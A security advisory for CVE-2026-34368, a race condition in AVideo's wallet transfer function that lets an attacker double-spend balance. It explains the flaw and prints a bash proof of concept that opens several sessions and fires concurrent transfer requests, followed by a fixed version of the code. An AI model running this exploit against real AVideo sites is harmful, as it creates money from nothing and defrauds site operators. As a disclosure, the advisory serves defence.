Skip to content

GHSA-h54m-c522-h6qr CVE-2026-34368

AVideo Vulnerable to Wallet Balance Double-Spend via TOCTOU Race Condition in transferBalance

Medium Packagist
Severity
5.3 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.24%
Chance of exploitation in the next 30 days. Higher than 14.76% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Fix
None yet
No fixed version published

Description

Summary

The transferBalance() method in plugin/YPTWallet/YPTWallet.php contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance — all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times.

Details

The vulnerable code path in plugin/YPTWallet/YPTWallet.php:450-517:

// Line 473-474: READ - fetch current balance (plain SELECT, no FOR UPDATE)
$senderWallet = self::getWallet($fromUserId);
$senderBalance = $senderWallet->getBalance();
$senderNewBalance = $senderBalance - $amount;

// Line 477: CHECK - verify sufficient funds in PHP
if ($senderNewBalance < 0) {
    return false;
}

// Line 486-487: WRITE - set new balance (plain UPDATE)
$senderWallet->setBalance($senderNewBalance);
$senderWalletId = $senderWallet->save();

// Line 497-502: Credit receiver (also plain SELECT + UPDATE)
$receiverWallet = self::getWallet($toUserId);
$receiverBalance = $receiverWallet->getBalance();
$receiverNewBalance = $receiverBalance + $amount;
$receiverWallet->setBalance($receiverNewBalance);
$receiverWalletId = $receiverWallet->save();

The getWallet() method (YPTWallet.php:244) calls Wallet::getFromUser() (Wallet.php:69-84) which executes a plain SELECT * FROM wallet WHERE users_id = $users_id with no FOR UPDATE clause. The save() method (Wallet.php:105) calls ObjectYPT::save() (Object.php:293) which executes a plain UPDATE — no transaction wrapping.

Race window: Between the SELECT (step 1) and UPDATE (step 3), all concurrent requests see the same original balance. Each independently computes original - amount, passes the check, and writes back. The last writer wins for the sender (only one deduction effective), but the receiver gets credited once per request.

Why concurrent requests succeed: PHP's file-based session locking serializes requests per session. However, an attacker can create multiple login sessions (different PHPSESSID cookies) for the same user account. Each session has its own lock and can execute concurrently. Each session needs its own captcha, but the captcha validation in objects/captcha.php:58-73 compares $_SESSION['palavra'] without unsetting it after validation, allowing unlimited reuse within each session.

Entry point: plugin/YPTWallet/view/transferFunds.json.php:39 calls YPTWallet::transferBalance(User::getId(), $_POST['users_id'], $_POST['value']) — requires only User::isLogged() and a valid captcha.

PoC

# Prerequisites: Attacker has a registered account with $10 wallet balance
# Accomplice has a registered account (recipient)

TARGET="https://target-avideo-instance"
ACCOMPLICE_ID=123  # recipient user ID

# Step 1: Create 5 independent sessions for the same attacker account
declare -a SESSIONS
declare -a CAPTCHA_ANSWERS

for i in $(seq 1 5); do
  # Login and capture session cookie
  COOKIE=$(curl -s -c - "$TARGET/objects/login.json.php" \
    -d 'user=attacker&pass=attackerpass' | grep PHPSESSID | awk '{print $NF}')
  
  # Load captcha to populate $_SESSION['palavra']
  curl -s -b "PHPSESSID=$COOKIE" "$TARGET/objects/captcha.php" -o "captcha_$i.png"
  
  SESSIONS[$i]=$COOKIE
  echo "Session $i: $COOKIE — solve captcha_$i.png manually"
done

# Step 2: After solving captchas, fire all 5 transfer requests simultaneously
# Each requests $10 transfer — all will read balance=$10 concurrently
for i in $(seq 1 5); do
  curl -s -b "PHPSESSID=${SESSIONS[$i]}" \
    "$TARGET/plugin/YPTWallet/view/transferFunds.json.php" \
    -d "users_id=$ACCOMPLICE_ID&value=10&captcha=${CAPTCHA_ANSWERS[$i]}" &
done
wait

# Expected result:
# - Attacker balance: $0 (last write wins, sets balance to 10-10=0)
# - Accomplice balance: credited $10 x N successful races (up to $50)
# - Net money created from nothing: up to $40

Impact

An authenticated attacker can exploit this race condition to:

  • Create wallet balance from nothing: With a $10 balance and N concurrent requests, the recipient can receive up to $10×N while the sender only loses $10.
  • Bypass pay-per-view charges: Inflate wallet balance, then purchase paid content without real payment.
  • Bypass subscription fees: Use inflated balance to purchase subscriptions.
  • Financial integrity compromise: The wallet ledger becomes inconsistent — total balances across all users no longer match total deposits.

The attack requires solving one captcha per session (captchas are reusable within a session), creating multiple login sessions, and timing concurrent requests — achievable with basic scripting.

Recommended Fix

Replace the read-check-write pattern with an atomic database operation using a transaction and row-level locking:

public static function transferBalance($fromUserId, $toUserId, $amount, $customDescription = "", $forceTransfer = false)
{
    global $global;
    
    // ... existing auth and validation checks ...
    
    $amount = floatval($amount);
    if ($amount <= 0) {
        return false;
    }

    // Use a database transaction with row-level locking
    $global['mysqli']->autocommit(false);
    $global['mysqli']->begin_transaction();
    
    try {
        // Lock sender row and read balance atomically
        $sql = "SELECT id, balance FROM wallet WHERE users_id = ? FOR UPDATE";
        $stmt = $global['mysqli']->prepare($sql);
        $stmt->bind_param("i", $fromUserId);
        $stmt->execute();
        $result = $stmt->get_result();
        $senderRow = $result->fetch_assoc();
        $stmt->close();
        
        if (empty($senderRow)) {
            $global['mysqli']->rollback();
            return false;
        }
        
        $senderBalance = floatval($senderRow['balance']);
        $senderNewBalance = $senderBalance - $amount;
        
        if ($senderNewBalance < 0) {
            $global['mysqli']->rollback();
            return false;
        }
        
        // Atomic deduction
        $sql = "UPDATE wallet SET balance = ? WHERE id = ? AND balance >= ?";
        $stmt = $global['mysqli']->prepare($sql);
        $stmt->bind_param("did", $senderNewBalance, $senderRow['id'], $amount);
        $stmt->execute();
        
        if ($stmt->affected_rows === 0) {
            $global['mysqli']->rollback();
            $stmt->close();
            return false;
        }
        $stmt->close();
        
        // Credit receiver (also locked)
        $sql = "SELECT id, balance FROM wallet WHERE users_id = ? FOR UPDATE";
        $stmt = $global['mysqli']->prepare($sql);
        $stmt->bind_param("i", $toUserId);
        $stmt->execute();
        $result = $stmt->get_result();
        $receiverRow = $result->fetch_assoc();
        $stmt->close();
        
        $receiverNewBalance = floatval($receiverRow['balance']) + $amount;
        $sql = "UPDATE wallet SET balance = ? WHERE id = ?";
        $stmt = $global['mysqli']->prepare($sql);
        $stmt->bind_param("di", $receiverNewBalance, $receiverRow['id']);
        $stmt->execute();
        $stmt->close();
        
        $global['mysqli']->commit();
        
        // ... log entries ...
        
    } catch (Exception $e) {
        $global['mysqli']->rollback();
        return false;
    } finally {
        $global['mysqli']->autocommit(true);
    }
}

Additionally, fix the captcha reuse issue in objects/captcha.php:58-73 by unsetting $_SESSION['palavra'] after successful validation:

public static function validation($word)
{
    // ... existing checks ...
    $validation = (strcasecmp($word, $_SESSION["palavra"]) == 0);
    if ($validation) {
        unset($_SESSION["palavra"]); // Consume the captcha token
    }
    return $validation;
}

Affected versions

Packagist

PackageVulnerableFixed in
wwbn/avideo
<= 26.0
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 5.3

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

Weakness

CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

How to prevent it
  • Architecture and Design: In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.
  • Architecture and Design: Use thread-safe capabilities such as the data access abstraction in Spring.
  • Architecture and Design: Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring. Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).
  • Implementation: When using multithreading and operating on shared variables, only use thread-safe functions.
  • Implementation: Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.
  • Implementation: Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.
  • Implementation: Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.
  • Implementation: Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.
  • Implementation: Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7cqp-7cfv-6c3q
AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel
Medium Also affects wwbn/avideo
GHSA-wc3f-xc32-435f
AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
High Also affects wwbn/avideo
GHSA-95jh-7r58-xmxw
AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data
Medium Also affects wwbn/avideo
GHSA-wf69-r4mx-43rr
AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration
High Also affects wwbn/avideo
GHSA-8j8m-p79x-g4jm
AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions
Medium Also affects wwbn/avideo
GHSA-8whc-2wmv-ww35
WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin
Critical Also affects WWBN/AVideo
GHSA-66q5-cj5g-wrfx
WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section
Medium Also affects WWBN/AVideo
GHSA-hgjh-6wj8-gcgf
WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination
Medium Also affects WWBN/AVideo
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor